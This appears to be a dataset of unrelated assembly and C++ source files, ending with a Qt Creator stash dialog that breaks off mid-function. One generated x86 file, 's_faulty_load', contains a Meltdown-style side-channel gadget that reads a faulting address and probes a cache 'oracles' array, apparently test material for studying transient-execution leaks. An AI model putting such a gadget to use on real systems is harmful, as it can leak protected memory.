text
stringlengths
1
1.05M
// Typedef pointer to const/volatile type and instantiate it // Commodore 64 PRG executable file .file [name="typedef-6.prg", type="prg", segments="Program"] .segmentdef Program [segments="Basic, Code, Data"] .segmentdef Basic [start=$0801] .segmentdef Code [start=$80d] .segmentdef Data [startAfter="Code"] .segment Basic :BasicUpstart(main) .label SCREEN = $400 .label cp = $a003 .label vp = $a004 .segment Code main: { // SCREEN[0] = *cp lda cp sta SCREEN // SCREEN[1] = *vp lda vp sta SCREEN+1 // } rts }
.ORIG x3900 ; char UserInput(void); ; Inputs: None ; Outputs: 0 if user inputs 'a' ; Outputs: 1 if user inputs 'w' ; Outputs: 2 if user inputs 'd' ; Outputs: 3 if user inputs 's' ; Else wait for valid input UserInput ;Push R7, R6 STR R7, R6, #0 STR R1, R6, #-1 ADD R6, R6, #-2 GET_CHAR GETC NOT R0, R0 ADD R0, R0, #1 ;c = -c ;---------------------- ;Switch(char) ;Switch case ;---------------------- ;check_W LD R1, w_key ADD R1, R1, R0 BRz GOT_w ;check_A LD R1, a_key ADD R1, R1, R0 BRz GOT_a ;check_S LD R1, s_key ADD R1, R1, R0 BRz GOT_s ;check_D LD R1, d_key ADD R1, R1, R0 BRz GOT_d ;Else Loop BRnzp GET_CHAR ;--------------------------------------- GOT_w AND R0, R0, #0 ;1 For north ADD R0, R0, #1 BRnzp Done GOT_a ;0 for west AND R0, R0, #0 ADD R0, R0, #0 BRnzp Done GOT_s ;3 for south AND R0, R0, #0 ADD R0, R0, #3 BRnzp Done GOT_d ;2 for east AND R0, R0, #0 ADD R0, R0, #2 BRnzp Done Done ;Pop R1, R7 ADD R6, R6, #2 LDR R1, R6, #1 LDR R7, R6, #0 RET a_key .FILL x61 s_key .FILL x73 d_key .FILL x64 w_key .FILL x77 .END
<% from pwnlib.shellcraft import common from pwnlib.shellcraft import arm %> <%page args="N"/> <%docstring> Divides r0 by 10. Result is stored in r0, N and Z flags are updated. Code is from generated from here: https://raw.githubusercontent.com/rofirrim/raspberry-pi-assembler/master/chapter15/magic.py With code: python magic.py 10 code_for_unsigned </%docstring> /* r0 = ${N} / 10 */ ${arm.setregs({'r0': N, 'r1': 0xcccccccd})} umull r1, r2, r1, r0 /* r1 <- Lower32Bits(r1*r0). r2 <- Upper32Bits(r1*r0) */ movs r0, r2, LSR #3 /* r0 <- r2 >> 3 */
; Add modules to distribution file for QDOS job ; ; This requires the main routine of the job to have ; ; strict section ordering ; base the QDOS "special job" header ; special empty for the special job code here ; main the main part of the program ; (the boot_concat routine is in main) ; ; the data declaration ; ; The first of the files must be a Stella bootstrap loader host module or a ; complete Stella format distribution file. ; The last file is the destination for the new distribution file (this routine ; does not operate 'in place'). ; The rest of the files have their checksum calculated and are inserted before ; the host module trailer in the order in which they appear. ; section main xdef boot_addmod include 'dev8_keys_err' include 'dev8_keys_qdos_io' include 'dev8_keys_qdos_ioa' include 'dev8_keys_qdos_sms' include 'dev8_keys_stella_bl' include 'dev8_mac_cksum' include 'dev8_mac_assert' dt_buff equ $00 dt_flen equ $00 ; file length in buffer dt_ftyp equ $05 ; file type dt_datasp equ $06 ; data space dt.buflen equ $40 ; data buffer length dt_head equ $40 dt.headlen equ $0e dt_cksum equ $50 ; long word checksum dt_top equ $60 ;+++ ; This routine loads and concatenates a number of files into memory. ; All files must be an even number of bytes long. ; ; d2 r length of total concatenated file (total files + 4|8*nfiles+4) ; d5 c p number of files to concatenate ; d6 c p lsw spare space required at start ; a1 r pointer to concatenated file (length of first file) ; a2 r pointer to first file header ; a5 c u pointer to table of file channel IDs, updated to end ; a6 c p pointer to data area (at least $60 bytes) ; ; status return standard ; ;--- boot_addmod ba.reg reg d1/d3/d4/d5/d7/a0/a4 movem.l ba.reg,-(sp) stk_nfil equ $0c ; first read all the file headers to find the size of memory to allocate lea (a5),a2 ; file list moveq #0,d7 ; accumulate length move.l (a2),a0 ; get header of first file lea dt_head(a6),a1 moveq #iof.rhdr,d0 ; read header moveq #dt.headlen,d2 bsr.l ba_io ba_fhloop move.l (a2)+,a0 ; next file lea dt_buff(a6),a1 moveq #iof.rhdr,d0 ; read header moveq #dt.headlen,d2 bsr.l ba_io add.l dt_flen(a6),d7 ; file length ba_fhnext subq.w #1,d5 bgt.s ba_fhloop ; ... and the next ; now we know how long the concatenated files are going to be we can allocate moveq #0,d1 ; no internal spare add.w d6,d1 ; plus spare required add.l d7,d1 ; plus length of code moveq #myself,d2 moveq #sms.achp,d0 trap #do.sms2 ; allocate it tst.l d0 bne.l ba_exit ; now load all the files lea (a0,d6.w),a4 ; save base of files lea (a4),a1 ; and load files move.l stk_nfil(sp),d5 move.l (a5)+,a0 ; get first file moveq #iof.rhdr,d0 ; read header moveq #dt.headlen,d2 bsr.s ba_io move.l (a1),d2 ; length of first file moveq #iof.load,d0 ; and load bsr.s ba_io add.l d2,a1 ; end of host module trailer lea (a4,d7.l),a2 ; end of distibution file assert sbl.trlen,$18 move.l -(a1),-(a2) ble.s ba_copyt ; ... OK copy trailer move.l d7,(a2) ; file length required ba_copyt move.l -(a1),-(a2) move.l -(a1),-(a2) move.l -(a1),-(a2) move.l -(a1),-(a2) move.l -(a1),-(a2) bra.s ba_fllend ba_flloop move.l (a5)+,a0 ; get next file moveq #iof.rhdr,d0 ; read header moveq #dt.headlen,d2 bsr.s ba_io move.l (a1),d2 ; length of next file moveq #iof.load,d0 ; and load bsr.s ba_io move.l a1,a2 ; base of header move.l sbl_mbase(a2),d4 ; length of header sub.l d4,d2 ; length of module add.l d4,a1 ; base of module move.l d2,sbl_mlength(a2) beq.s ba_fllend ; null modules bsr.s ba_cksum ; calculate checksum move.l d3,sbl_cksum(a2) ; and save it ba_fllend subq.w #1,d5 bgt.s ba_flloop ; ... and the next move.l sbl_flength(a1),d0 ; length table beq.s ba_hchk ; ... none lea (a4,d0.l),a2 ; base of length fixup table ba_fixup move.l (a2)+,d0 ; next address beq.s ba_hchk ; ... none move.l d7,d1 ; length add.l (a2)+,d1 ; adjusted move.l d1,-8(a2,d0.l) ; and patched bra.s ba_fixup ba_hchk move.l sbl_mlength-sbl.trlen(a4,d7.l),d2 ; length to checksum move.l a4,a1 bsr.s ba_cksum move.l d3,sbl_cksum-sbl.trlen(a4,d7.l) ; and save it move.l a4,a1 ; base of file move.l d7,d2 ; length of file lea dt_head(a6),a2 ; header of first file moveq #0,d0 ba_exit movem.l (sp)+,ba.reg ba_rts rts ba_io moveq #-1,d3 ; wait forever move.l a1,-(sp) trap #do.io ; do IO move.l (sp)+,a1 tst.l d0 beq.s ba_rts addq.l #4,sp ; on error, give up bra.s ba_exit ba_ipar moveq #err.ipar,d0 bra.s ba_exit ba_cksum lwcksum a1,d2,d3,d0,d1 ; make checksum rts section special ; this code is called as a routine by ex to open the channels ex_entry move.l a0,a2 ; put the utility address somewhere safer exg a5,a3 ; we will process the params from the back end moveq #err.ipar,d0 ; preset error to invalid parameter subq.l #2,d7 ; there must be at least 2 channels blt.s ex_rts ; ... but there aren't moveq #0,d0 ; ... oh yes there are! ex_loop subq.l #8,a3 ; move down one cmp.l a5,a3 ; any more parameters blt.s ex_rts ; ... no jsr (a2) ; get a string from the command line blt.s ex_rts ; ... oops bgt.s ex_put_id ; ... #n moveq #ioa.kshr,d3 ; the file is an input tst.w d5 ; last file? bne.s ex_open ; ... no moveq #ioa.kovr,d3 ; ... yes, open overwrite ex_open jsr 2(a2) ; open the file bne.s ex_rts ; ... oops ex_put_id move.l a0,-(a4) ; put the id on the stack addq.l #1,d5 ; one more bra.s ex_loop ; and look at next ex_rts rts end
; A090326: Number of rules of a context-free grammar in Chomsky normal form that generates all permutations of n symbols. ; 1,4,15,54,185,608,1939,6058,18669,57012,173063,523262,1577953,4750216,14283387,42915666,128878037,386896220,1161212911,3484687270,10456158921,31372671024,94126401635,282395982074,847221500605,2541731610628,7625329049559,22876255584078,68629303623089,205888984611032,617669101316683,1853011598917282,5559043386686373 mov $4,$0 lpb $0,1 sub $0,1 add $5,1 mov $2,$5 sub $2,1 add $1,$2 mul $1,2 trn $1,4 add $1,2 sub $2,1 add $3,$2 trn $3,5 add $3,5 mov $5,$3 mul $3,2 lpe add $1,10 lpb $4,1 add $1,1 sub $4,1 lpe sub $1,9
.global s_prepare_buffers s_prepare_buffers: push %r12 push %r13 push %r14 push %r15 push %rbx push %rcx push %rdi push %rsi lea addresses_A_ht+0xcfb2, %r15 sub %rbx, %rbx movw $0x6162, (%r15) nop nop xor %rbx, %rbx lea addresses_WC_ht+0x100f4, %rsi lea addresses_D_ht+0x8ef2, %rdi nop nop nop cmp %r14, %r14 mov $68, %rcx rep movsb nop nop nop nop nop cmp $58593, %rsi lea addresses_D_ht+0x101f2, %rbx nop nop nop nop nop dec %rdi mov $0x6162636465666768, %r14 movq %r14, %xmm0 vmovups %ymm0, (%rbx) nop nop nop nop add $17575, %rbx lea addresses_WT_ht+0xbf2, %rsi lea addresses_WT_ht+0x22d2, %rdi nop nop nop nop nop dec %r13 mov $38, %rcx rep movsl nop nop nop nop sub $35562, %rbx lea addresses_UC_ht+0x6b82, %rsi lea addresses_WT_ht+0x195f2, %rdi nop nop sub %r15, %r15 mov $23, %rcx rep movsw nop nop nop nop nop xor %rsi, %rsi lea addresses_normal_ht+0xa462, %rsi lea addresses_normal_ht+0x18fd2, %rdi nop nop nop nop xor $37148, %r12 mov $71, %rcx rep movsl nop nop inc %rdi lea addresses_A_ht+0x127f2, %rcx nop nop sub %r13, %r13 mov $0x6162636465666768, %r12 movq %r12, (%rcx) nop nop nop nop cmp $40848, %rcx pop %rsi pop %rdi pop %rcx pop %rbx pop %r15 pop %r14 pop %r13 pop %r12 ret .global s_faulty_load s_faulty_load: push %r11 push %rax push %rbx push %rcx push %rdi push %rdx push %rsi // REPMOV lea addresses_RW+0x1fff2, %rsi mov $0x7e63800000007f2, %rdi nop nop nop nop nop inc %r11 mov $0, %rcx rep movsw nop nop nop nop and %rcx, %rcx // REPMOV lea addresses_normal+0x1b9d2, %rsi lea addresses_WC+0x1fd02, %rdi nop nop nop cmp %rax, %rax mov $124, %rcx rep movsq nop nop and %rdi, %rdi // Load lea addresses_A+0xe7f2, %rbx nop nop nop nop nop sub %rax, %rax mov (%rbx), %r11 nop and $3443, %rax // Faulty Load mov $0x7e63800000007f2, %rax clflush (%rax) nop nop and $52791, %rdx vmovups (%rax), %ymm0 vextracti128 $0, %ymm0, %xmm0 vpextrq $0, %xmm0, %rbx lea oracles, %rdi and $0xff, %rbx shlq $12, %rbx mov (%rdi,%rbx,1), %rbx pop %rsi pop %rdx pop %rdi pop %rcx pop %rbx pop %rax pop %r11 ret /* <gen_faulty_load> [REF] {'src': {'type': 'addresses_NC', 'same': False, 'size': 2, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_RW', 'congruent': 11, 'same': False}, 'dst': {'type': 'addresses_NC', 'congruent': 0, 'same': True}, 'OP': 'REPM'} {'src': {'type': 'addresses_normal', 'congruent': 5, 'same': False}, 'dst': {'type': 'addresses_WC', 'congruent': 4, 'same': False}, 'OP': 'REPM'} {'src': {'type': 'addresses_A', 'same': False, 'size': 8, 'congruent': 11, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} [Faulty Load] {'src': {'type': 'addresses_NC', 'same': True, 'size': 32, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} <gen_prepare_buffer> {'dst': {'type': 'addresses_A_ht', 'same': False, 'size': 2, 'congruent': 5, 'NT': False, 'AVXalign': True}, 'OP': 'STOR'} {'src': {'type': 'addresses_WC_ht', 'congruent': 1, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 3, 'same': False}, 'OP': 'REPM'} {'dst': {'type': 'addresses_D_ht', 'same': False, 'size': 32, 'congruent': 8, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'src': {'type': 'addresses_WT_ht', 'congruent': 10, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 5, 'same': False}, 'OP': 'REPM'} {'src': {'type': 'addresses_UC_ht', 'congruent': 4, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 8, 'same': False}, 'OP': 'REPM'} {'src': {'type': 'addresses_normal_ht', 'congruent': 4, 'same': True}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 4, 'same': True}, 'OP': 'REPM'} {'dst': {'type': 'addresses_A_ht', 'same': False, 'size': 8, 'congruent': 9, 'NT': False, 'AVXalign': True}, 'OP': 'STOR'} {'00': 21829} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */
;/* ; * Microsoft Confidential ; * Copyright (C) Microsoft Corporation 1991 ; * All Rights Reserved. ; */ ?WIN = 0 ;Not windows; ?PLM = 1 ;DO use PL/M calling conventions include cmacros.inc ; Following are C-fns that use CW to put up/take down swap message extrn PutUpSwapMsg:far extrn TakeDownSwapMsg:far ifdef KANJI extrn PeekMessage:far extrn HookKeyboardMessage:far extrn InsertKeyboardMessage:far extrn msg:word ;* ;* CW : Character Windows ;* ;* cwindows.inc : public include file for CW routines/structures ; Created Mon Feb 18 00:10:50 1991 */ pwndMsg equ [word ptr 00000h] messageMsg equ [word ptr 00002h] wParamMsg equ [word ptr 00004h] lParamMsg equ [dword ptr 00006h] LO_lParamMsg equ [word ptr 00006h] HI_lParamMsg equ [word ptr 00008h] timeMsg equ [dword ptr 0000Ah] LO_timeMsg equ [word ptr 0000Ah] HI_timeMsg equ [word ptr 0000Ch] WM_CHAR equ 258 WM_LBUTTONDOWN equ 513 WM_LBUTTONUP equ 514 WM_LBUTTONDBLCLK equ 515 WM_RBUTTONDOWN equ 516 WM_RBUTTONUP equ 517 WM_RBUTTONDBLCLK equ 518 endif ; Pointers to our near buffer -- multiplexed -- used in C & for temp stack here extrn pbBuffer:near extrn pbBufferEnd:near STACKREQ EQU 512 ; Stack size requested so that we can make C-calls from ; the int 2f handler and not worry about stack overflows sBegin data OldSP DW ? OldSS DW ? sEnd data sBegin code assumes cs, code assumes ds, DGROUP OldInt2fVector DD ? ; Location to store old int 2f vector ; ; ; int2fswaphandler proc cmp ax, 4A00h ; Is this a swap disk call? je DoDialog ChainThru: jmp [OldInt2fVector] DoDialog: or cx, cx ; Has any one already interacted with user? jnz ChainThru ; YES, Some one else has handled it! sti ; BUGBUG -- can I be restore interrupts now? - hari ;; Try to switch stacks by checking if we have a big enuf stack push bx push es push ds mov ax, DGROUP mov ds, ax assumes ds, DGROUP mov es, ax ; for safety make ES = DS mov ax, word ptr pbBufferEnd ; AX = ptr to last char of our near buf mov bx, word ptr pbBuffer ; BX = ptr to free loc of near buffer add bx, (STACKREQ-1) ; We might need all of STACKREQ bytes! cmp ax, bx ; Is this stack big enuf? jb NoMessage ; NO, We can't handle swap msg as C-fn ; call later might need big stack! dec cx ; Mark that we handled swap message!! ;;;; Put up message to swap disks -- a C-function call to be made! ; Save all registers, as C-fn call will screw them up! ; Note that BX, ES, DS have already been saved!! push cx push dx push bp push si push di mov OldSP, sp ; Store old stack ptr (SS:SP) in our temp location mov OldSS, ss push ds ; Perform stack switch pop ss mov sp, ax ; SS:SP points to our near stack now! ;;;; Push in parameter to the C-fn call below push dx ; DH has drive letter for disk in drive ; DL has requested drive letter 0 for A, 1 for B, etc call far ptr PutUpSwapMsg ; C-fn call! PLM calling convention ; flush all characters from keyboard queue ifdef KANJI push bx ; save mov ax,1 ; TRUE lea bx,KeyboardHook ; cCall HookKeyboardMessage,<ax,cs,bx> ; Hook keyboard input WaitKeyInput: lea ax,msg ; push ax ; save cCall PeekMessage,<ax> ; get key pop bx ; restore or ax,ax ; jz WaitKeyInput ; key input, FALSE mov ax,[bx].messageMsg ; cmp ax,WM_CHAR ; charactor input ? jz KeyIn ; yes cmp ax,WM_LBUTTONDOWN ; mouse L button ? jz KeyIn ; yes cmp ax,WM_RBUTTONDOWN ; mouse R button ? jnz WaitKeyInput ; no KeyIn: xor ax,ax ; FALSE lea bx,KeyboardHook ; cCall HookKeyboardMessage,<ax,cs,bx> ; Unhook keyboard input pop bx ; else FlushKbdLoop: mov ah,1 ; command code for check status int 16h ; Is there a char in the key board buffer? jz FlushDone ; No, Flush complete xor ah,ah ; Remove the character from Keyboard buffer int 16h ; Get char jmp FlushKbdLoop FlushDone: ; Wait till user hits any key -- He is expected to do this after ; the floppy for the new drive is in place. xor ah,ah ; set command to read character int 16h ; Wait until a key board char hit endif ;;;; Take down swap disk message and restore screen -- a C-function call far ptr TakeDownSwapMsg ; C-fn call mov ss, OldSS ; Restore DOS' old stack ptr mov sp, OldSP ;;;; Restore all registers now pop di pop si pop bp pop dx pop cx NoMessage: pop ds pop es pop bx mov ax, 4A00h ; Restore original function value to chain thru jmp [OldInt2fVector]; int2fswaphandler endp ; ; void InstallSwapHandler(void) ; cProc InstallSwapHandler, PUBLIC, <si,di,ds,es> cBegin InstallSwapHandler mov ax, 352fh ; Get current contents of int 21h ; int 2f vector in ES:BX ; Save this vector so that we can restore it when our program terminates mov word ptr OldInt2fVector, bx mov word ptr OldInt2fVector+2, es ; Set our int 2f handler in place mov dx, offset int2fswaphandler push cs pop ds ; DS:DX = address of our int 2f handler assumes ds, nothing mov ax, 252fh ; Set new int 2f vector int 21h ; that is, the one in DS:DX cEnd InstallSwapHandler ; ; void RemoveSwapHandler(void) ; cProc RemoveSwapHandler, PUBLIC, <si,di,ds,es> cBegin RemoveSwapHandler lds dx, OldInt2fVector assumes ds, nothing mov ax, 252fh int 21h ; Restore old int 2f handler cEnd RemoveSwapHandler ifdef KANJI cProc KeyboardHook,FAR,PUBLIC,<ax> parmW message parmW wParam parmD lParam cBegin mov ax,WM_CHAR ; convert to space code mov message,ax ; mov ax,' ' ; mov wParam,ax ; cCall InsertKeyBoardMessage,<message, wParam, lParam> cEnd KeyboardHook endif sEnd code end 
/**************************************************************************** ** ** Copyright (C) 2016 The Qt Company Ltd. ** Contact: https://www.qt.io/licensing/ ** ** This file is part of Qt Creator. ** ** Commercial License Usage ** Licensees holding valid commercial Qt licenses may use this file in ** accordance with the commercial license agreement provided with the ** Software or, alternatively, in accordance with the terms contained in ** a written agreement between you and The Qt Company. For licensing terms ** and conditions see https://www.qt.io/terms-conditions. For further ** information use the contact form at https://www.qt.io/contact-us. ** ** GNU General Public License Usage ** Alternatively, this file may be used under the terms of the GNU ** General Public License version 3 as published by the Free Software ** Foundation with exceptions as appearing in the file LICENSE.GPL3-EXCEPT ** included in the packaging of this file. Please review the following ** information to ensure the GNU General Public License requirements will ** be met: https://www.gnu.org/licenses/gpl-3.0.html. ** ****************************************************************************/ #include "stashdialog.h" #include "gitclient.h" #include "gitplugin.h" #include "gitutils.h" #include "ui_stashdialog.h" #include <utils/algorithm.h> #include <utils/qtcassert.h> #include <QDebug> #include <QDir> #include <QModelIndex> #include <QDateTime> #include <QStandardItemModel> #include <QSortFilterProxyModel> #include <QMessageBox> #include <QPushButton> enum { NameColumn, BranchColumn, MessageColumn, ColumnCount }; namespace Git { namespace Internal { static inline QList<QStandardItem*> stashModelRowItems(const Stash &s) { Qt::ItemFlags itemFlags = Qt::ItemIsSelectable | Qt::ItemIsEnabled; auto nameItem = new QStandardItem(s.name); nameItem->setFlags(itemFlags); auto branchItem = new QStandardItem(s.branch); branchItem->setFlags(itemFlags); auto messageItem = new QStandardItem(s.message); messageItem->setFlags(itemFlags); QList<QStandardItem*> rc; rc << nameItem << branchItem << messageItem; return rc; } // ----------- StashModel class StashModel : public QStandardItemModel { public: explicit StashModel(QObject *parent = 0); void setStashes(const QList<Stash> &stashes); const Stash &at(int i) { return m_stashes.at(i); } private: QList<Stash> m_stashes; }; StashModel::StashModel(QObject *parent) : QStandardItemModel(0, ColumnCount, parent) { QStringList headers; headers << StashDialog::tr("Name") << StashDialog::tr("Branch") << StashDialog::tr("Message"); setHorizontalHeaderLabels(headers); } void StashModel::setStashes(const QList<Stash> &stashes) { m_stashes = stashes; if (const int rows = rowCount()) removeRows(0, rows); for (const Stash &s : stashes) appendRow(stashModelRowItems(s)); } // ---------- StashDialog StashDialog::StashDialog(QWidget *parent) : QDialog(parent), ui(new Ui::StashDialog), m_model(new StashModel), m_proxyModel(new QSortFilterProxyModel), m_deleteAllButton(new QPushButton(tr("Delete &All..."))), m_deleteSelectionButton(new QPushButton(tr("&Delete..."))), m_showCurrentButton(new QPushButton(tr("&Show"))), m_restoreCurrentButton(new QPushButton(tr("R&estore..."))), //: Restore a git stash to new branch to be created m_restoreCurrentInBranchButton(new QPushButton(tr("Restore to &Branch..."))), m_refreshButton(new QPushButton(tr("Re&fresh"))) { setWindowFlags(windowFlags() & ~Qt::WindowContextHelpButtonHint); setAttribute(Qt::WA_DeleteOnClose, true); // Do not update unnecessarily ui->setupUi(this); ui->filterLineEdit->setFiltering(true); // Buttons ui->buttonBox->addButton(m_showCurrentButton, QDialogButtonBox::ActionRole); connect(m_showCurrentButton, &QPushButton::clicked, this, &StashDialog::showCurrent); ui->buttonBox->addButton(m_refreshButton, QDialogButtonBox::ActionRole); connect(m_refreshButton, &QPushButton::clicked, this, &StashDialog::forceRefresh); ui->buttonBox->addButton(m_restoreCurrentButton, QDialogButtonBox::ActionRole); connect(m_restoreCurrentButton, &QPushButton::clicked, this, &StashDialog::restoreCurrent); ui->buttonBox->addButton(m_restoreCurrentInBranchButton, QDialogButtonBox::ActionRole); connect(m_restoreCurrentInBranchButton, &QPushButton::clicked, this, &StashDialog::restoreCurrentInBranch); ui->buttonBox->addButton(m_deleteSelectionButton, QDialogButtonBox::ActionRole); connect(m_deleteSelectionButton, &QPushButton::clicked, this, &StashDialog::deleteSelection); ui->buttonBox->addButton(m_deleteAllButton, QDialogButtonBox::ActionRole); connect(m_deleteAllButton, &QPushButton::clicked, this, &StashDialog::deleteAll); // Models m_proxyModel->setSourceModel(m_model); m_proxyModel->setFilterKeyColumn(-1); m_proxyModel->setFilterCaseSensitivity(Qt::CaseInsensitive); ui->stashView->setActivationMode(Utils::DoubleClickActivation); ui->stashView->setModel(m_proxyModel); ui->stashView->setSelectionMode(QAbstractItemView::ExtendedSelection); ui->stashView->setAllColumnsShowFocus(true); ui->stashView->setUniformRowHeights(true); connect(ui->filterLineEdit, &Utils::FancyLineEdit::filterChanged, m_proxyModel, &QSortFilterProxyModel::setFilterFixedString); connect(ui->stashView->selectionModel(), &QItemSelectionModel::currentRowChanged, this, &StashDialog::enableButtons); connect(ui->stashView->selectionModel(), &QItemSelectionModel::selectionChanged, this, &StashDialog::enableButtons); connect(ui->stashView, &Utils::TreeView::activated, this, &StashDialog::showCurrent); ui->stashView->setFocus(); } StashDialog::~StashDialog() { delete ui; } void StashDialog::refresh(const QString &repository, bool force) { if (m_repository == repository && !force) return; // Refresh m_repository = repository; ui->repositoryLabel->setText(GitPlugin::msgRepositoryLabel(repository)); if (m_repository.isEmpty()) { m_model->setStashes(QList<Stash>()); } else { QList<Stash> stashes; GitPlugin::client()->synchronousStashList(m_repository, &stashes); m_model->setStashes(stashes); if (!stashes.isEmpty()) { for (int c = 0; c < ColumnCount; c++) ui->stashView->resizeColumnToContents(c); } } enableButtons(); } void StashDialog::deleteAll() { const QString title = tr("Delete Stashes"); if (!ask(title, tr("Do you want to delete all stashes?"))) return; QString errorMessage; if (GitPlugin::client()->synchronousStashRemove(m_repository, QString(), &errorMessage)) refresh(m_repository, true); else warning(title, errorMessage); } void StashDialog::deleteSelection() { const QList<int> rows = selectedRows(); QTC_ASSERT(!rows.isEmpty(), return); const QString title = tr("Delete Stashes"); if (!ask(title, tr("Do you want to delete %n stash(es)?", 0, rows.size()))) return; QString errorMessage; QStringList errors; // Delete in reverse order as stashes rotate for (int r = rows.size() - 1; r >= 0; r--) if (!GitPlugin::client()->synchronousStashRemove(m_repository, m_model->at(rows.at(r)).name, &errorMessage)) errors.push_back(errorMessage); refresh(m_repository, true); if (!errors.isEmpty()) warning(title, errors.join('\n')); } void StashDialog::showCurrent() { const int index = currentRow(); QTC_ASSERT(index >= 0, return); GitPlugin::client()->show(m_repository, QString(m_model->at(index).name)); } // Suggest Branch name to restore 'stash@{0}' -> 'stash0-date' static inline QString stashRestoreDefaultBranch(QString stash) { stash.remove('{'); stash.remove('}'); stash.remove('@'); stash += '-'; stash += QDateTime::currentDateTime().toString("yyMMddhhmmss"); return stash; } // Return next stash id 'stash@{0}' -> 'stash@{1}' static inline QString nextStash(const QString &stash) { const int openingBracePos = stash.indexOf('{'); if (openingBracePos == -1) return QString(); const int closingBracePos = stash.indexOf('}', openingBracePos + 2); if (closingBracePos == -1) return QString(); bool ok; const int n = stash.midRef(openingBracePos + 1, closingBracePos - openingBracePos - 1).toInt(&ok); if (!ok) return QString(); QString rc = stash.left(openingBracePos + 1); rc += QString::number(n + 1); rc += '}'; return rc; } StashDialog::ModifiedRepositoryAction StashDialog::promptModifiedRepository(const QString &stash) { QMessageBox box(QMessageBox::Question, tr("Repository Modified"), tr("%1 cannot be restored since the repository is modified.\n" "You can choose between stashing the changes or discarding them.").arg(stash), QMessageBox::Cancel, this); QPushButton *stashButton = box.addButton(tr("Stash"), QMessageBox::AcceptRole); QPushButton *discardButton = box.addButton(tr("Discard"), QMessageBox::AcceptRole); box.exec(); const QAbstractButton *clickedButton = box.clickedButton(); if (clickedButton == stashButton) return ModifiedRepositoryStash; if (clickedButton == discardButton) return ModifiedRepositoryDiscard; return ModifiedRepositoryCancel; } // Prompt for restore: Make sure repository is unmodified, // prompt for a branch if desired or just ask to restore. // Note that the stash to be restored changes if the user // chooses to stash away modified repository. bool StashDialog::promptForRestore(QString *stash, QString *branch /* = 0*/, QString *errorMessage) { const QString stashIn = *stash; bool modifiedPromptShown = false; switch (GitPlugin::client()->gitStatus(m_repository, StatusMode(NoUntracked | NoSubmodules), 0, errorMessage)) { case GitClient::StatusFailed: return false; case 